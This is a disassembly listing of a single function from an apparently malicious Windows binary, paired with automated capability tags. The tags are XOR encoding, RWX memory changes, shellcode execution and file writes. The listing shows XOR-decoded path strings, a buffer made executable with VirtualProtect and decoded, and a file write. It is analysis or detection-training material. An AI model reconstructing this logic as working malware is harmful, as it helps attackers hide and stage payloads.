Function at 0x1001d970
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get hostname
Initialize winsock library
Resolve dns
Terminate process
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x100
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.1002ab80
add esp, 0xc
xor esi, esi
nop
push ecx
lea edx, [ebp - 0x140]
mov ecx, esi
call fcn.1001ad80
add esp, 4
test al, al
jne 0x1001d9cb
inc esi
cmp esi, 5
jl 0x1001d9b0
lea eax, [ebp - 0x400]
mov dword [ebp - 0x248], 0x73257325
push eax
push 0x101
mov byte [ebp - 0x244], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xff
lea eax, [ebp - 0x240]
push 0
push eax
call fcn.1002ab80
add esp, 0xc
lea eax, [ebp - 0x140]
push esi
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.100025e0
add esp, 0x10
mov edx, 0x68
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.S6_]
xor al, dl
mov byte [ebp + ecx - 0x270], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x17
jb 0x1001da60
lea eax, [ebp - 0x270]
mov byte [ebp - 0x259], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1001db41
mov edx, 0x68
xor ecx, ecx
nop
mov al, byte [ecx + str.S6_]
xor al, dl
mov byte [ebp + ecx - 0x270], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x17
jb 0x1001daa0
lea ecx, [ebp - 0x270]
mov byte [ebp - 0x259], 0
call fcn.1001d890
test al, al
je 0x1001dc9c
push 0x100
lea eax, [ebp - 0x140]
push 0
push eax
call fcn.1002ab80
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x404]
add esp, 0xc
push eax
push 0x40
push 0x100
lea eax, [ebp - 0x140]
push eax
call esi
push 0x100
lea eax, [ebp - 0x140]
push 0x101aaf80
push eax
call fcn.1002a600
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x404]
lea eax, [ebp - 0x140]
push 0x100
push eax
call esi
jmp 0x1001dcaa
push 0x100
push 0
push 0x101aaf80
call fcn.1002ab80
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x404]
add esp, 0xc
push eax
push 0x40
push 0x100
push 0x101aaf80
call esi
push 0x100
lea eax, [ebp - 0x140]
push eax
push 0x101aaf80
call fcn.1002a600
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x404]
push 0x100
push 0x101aaf80
call esi
movaps xmm1, xmmword [0x10055d80]
xor eax, eax
movaps xmm2, xmmword [0x10055d50]
movups xmm0, xmmword [eax + 0x101aaf80]
pxor xmm0, xmm1
movups xmmword [eax + 0x101aaf80], xmm0
movups xmm0, xmmword [eax + 0x101aaf80]
paddb xmm0, xmm2
movups xmmword [eax + 0x101aaf80], xmm0
movups xmm0, xmmword [eax + 0x101aaf90]
pxor xmm0, xmm1
movups xmmword [eax + 0x101aaf90], xmm0
movups xmm0, xmmword [eax + 0x101aaf90]
paddb xmm0, xmm2
movups xmmword [eax + 0x101aaf90], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x1001dbb2
mov edx, 0x68
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + str.S6_]
xor al, dl
mov byte [ebp + ecx - 0x270], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x17
jb 0x1001dc10
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x270]
mov byte [ebp - 0x259], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
xorps xmm0, xmm0
movaps xmmword [ebp - 0x270], xmm0
movq qword [ebp - 0x260], xmm0
push 0
cmp esi, 0xffffffff
jne 0x1001dc6f
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x248]
mov dword [ebp - 0x248], 0
push eax
push 0x100
push 0x101aaf80
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x1001dca4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov dword [ebp - 0x20], 0
mov edx, esp
xorps xmm0, xmm0
movaps xmmword [ebp - 0x40], xmm0
movaps xmmword [ebp - 0x30], xmm0
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x140], 0
jne 0x1001dcdf
xor ecx, ecx
jmp 0x1001dcf1
lea ecx, [ebp - 0x140]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001dce8
sub ecx, esi
push ecx
lea eax, [ebp - 0x140]
mov ecx, edx
push eax
call fcn.100031b0
lea ecx, [ebp - 0x270]
call fcn.1001d0b0
mov ecx, esp
mov word [ebp - 0x404], 0x7325
mov byte [ebp - 0x402], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x40]
movq qword [ecx + 0x10], xmm0
push eax
call fcn.100025e0
xor eax, eax
add esp, 0x20
mov word [ebp - 0x404], ax
mov byte [ebp - 0x402], al
mov eax, dword [ebp - 0x25c]
cmp eax, 0x10
jb 0x1001dd6d
inc eax
lea ecx, [ebp - 0x270]
push eax
push dword [ebp - 0x270]
call fcn.10003500
cmp byte [0x101a350c], 0
jne 0x1001de2c
sub esp, 0x18
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x140], 0
jne 0x1001dd9d
xor ecx, ecx
jmp 0x1001ddaf
lea ecx, [ebp - 0x140]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001dda6
sub ecx, esi
push ecx
lea eax, [ebp - 0x140]
mov ecx, edx
push eax
call fcn.100031b0
lea ecx, [ebp - 0x270]
call fcn.1001d0b0
mov ecx, esp
mov word [ebp - 0x404], 0x7325
mov byte [ebp - 0x402], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
lea eax, [ebp - 0x404]
push eax
push 0x101a350c
movq qword [ecx + 0x10], xmm0
call fcn.100025e0
xor eax, eax
add esp, 0x20
mov word [ebp - 0x404], ax
mov byte [ebp - 0x402], al
mov eax, dword [ebp - 0x25c]
cmp eax, 0x10
jb 0x1001de2c
inc eax
lea ecx, [ebp - 0x270]
push eax
push dword [ebp - 0x270]
call fcn.10003500
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x40]
xor ecx, ebp
pop esi
call fcn.10027a55
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret